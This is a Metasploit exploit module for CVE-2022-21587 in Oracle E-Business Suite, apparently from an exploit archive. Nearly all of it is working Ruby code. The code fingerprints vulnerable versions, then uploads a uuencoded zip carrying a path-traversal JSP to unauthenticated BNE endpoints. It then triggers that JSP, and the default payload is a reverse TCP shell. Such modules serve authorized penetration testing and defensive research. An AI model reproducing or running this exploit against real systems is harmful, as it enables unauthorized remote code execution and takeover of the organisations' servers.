Oracle E-Business Suite (EBS) Unauthenticated Arbitrary File Upload

This Metasploit module exploits an unauthenticated arbitrary file upload vulnerability in Oracle Web Applications Desktop Integrator, as shipped with Oracle EBS versions 12.2.3 through to 12.2.11, in order to gain remote code execution as the oracle user.


SHA-256 | a890c277f9518d69ee5b632d253b7c12b7da15367479577605ce796496a2f670

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle E-Business Suite (EBS) Unauthenticated Arbitrary File Upload',
'Description' => %q{
This module exploits an unauthenticated arbitrary file upload vulnerability in Oracle Web Applications
Desktop Integrator, as shipped with Oracle EBS versions 12.2.3 through to 12.2.11, in
order to gain remote code execution as the oracle user.
},
'Author' => [
'sf', # MSF Exploit & Rapid7 Analysis
'HMs', # Python PoC
'l1k3beef', # Original Discoverer
],
'References' => [
['CVE', '2022-21587'],
['URL', 'https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis'],
['URL', 'https://blog.viettelcybersecurity.com/cve-2022-21587-oracle-e-business-suite-unauth-rce/'],
['URL', 'https://github.com/hieuminhnv/CVE-2022-21587-POC']
],
'DisclosureDate' => '2022-10-01',
'License' => MSF_LICENSE,
'Platform' => %w[linux],
'Arch' => ARCH_JAVA,
'Privileged' => false, # Code execution as user 'oracle'
'Targets' => [
[
'Oracle EBS on Linux (OVA Install)',
{
'Platform' => 'linux',
'EBSBasePath' => '/u01/install/APPS/fs1/',
'EBSUploadPath' => 'EBSapps/appl/bne/12.0.0/upload/',
'EBSFormsPath' => 'FMW_Home/Oracle_EBS-app1/applications/forms/forms/'
}
]
],
'DefaultOptions' => {
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options(
[
Opt::RPORT(8000)
]
)
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/OA_HTML/FrmReportData'
)

return CheckCode::Unknown('Connection failed') unless res

return CheckCode::Unknown unless res.code == 200

match = res.body.match(%r{jsLibs/Common(\d+_\d+_\d+)})

if match && (match.length == 2)
version = Rex::Version.new(match[1].gsub('_', '.'))

if version.between?(Rex::Version.new('12.2.3'), Rex::Version.new('12.2.11'))
return CheckCode::Appears("Oracle EBS version #{version} detected.")
end

return CheckCode::Safe("Oracle EBS version #{version} detected.")
end

CheckCode::Safe
end

def exploit
endpoints = %w[BneViewerXMLService BneDownloadService BneOfflineLOVService BneUploaderService]

target_url = "/OA_HTML/#{endpoints.sample}"

print_status("Targeting the endpoint: #{target_url}")

jsp_name = Rex::Text.rand_text_alpha_lower(3..8) + '.jsp'

jsp_path = '../' * target['EBSUploadPath'].split('/').length

jsp_path << "#{target['EBSFormsPath']}#{jsp_name}"

jsp_absolute_path = "#{target['EBSBasePath']}#{target['EBSFormsPath']}#{jsp_name}"

zip = Rex::Zip::Archive.new
zip.add_file(jsp_path, payload.encoded)

# The ZIP file is expected to be encoded with the binary to text encoding mechanism called uuencode.
# For a detailed description refer to the Rapid7 AttackerKB analysis in the References section of this module.
uue_data = "begin 777 #{Rex::Text.rand_text_alpha_lower(3..8)}.zip\n"
uue_data << [zip.pack].pack('u')
uue_data << "end\n"

uue_name = "#{Rex::Text.rand_text_alpha_lower(3..8)}.uue"

mime = Rex::MIME::Message.new
mime.add_part(uue_data, 'text/plain', nil, %(form-data; name="file"; filename="#{uue_name}"))

register_file_for_cleanup(jsp_absolute_path)

res = send_request_cgi(
{
'method' => 'POST',
'uri' => target_url,
'vars_get' => { 'bne:uueupload' => 'true' },
'encode_params' => true,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
}
)

unless res && res.code == 200 && res.body.include?('bne:text="Cannot be logged in as GUEST."')
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
end

print_status('Triggering the payload...')

send_request_cgi(
'method' => 'GET',
'uri' => "/forms/#{jsp_name}"
)
end

end

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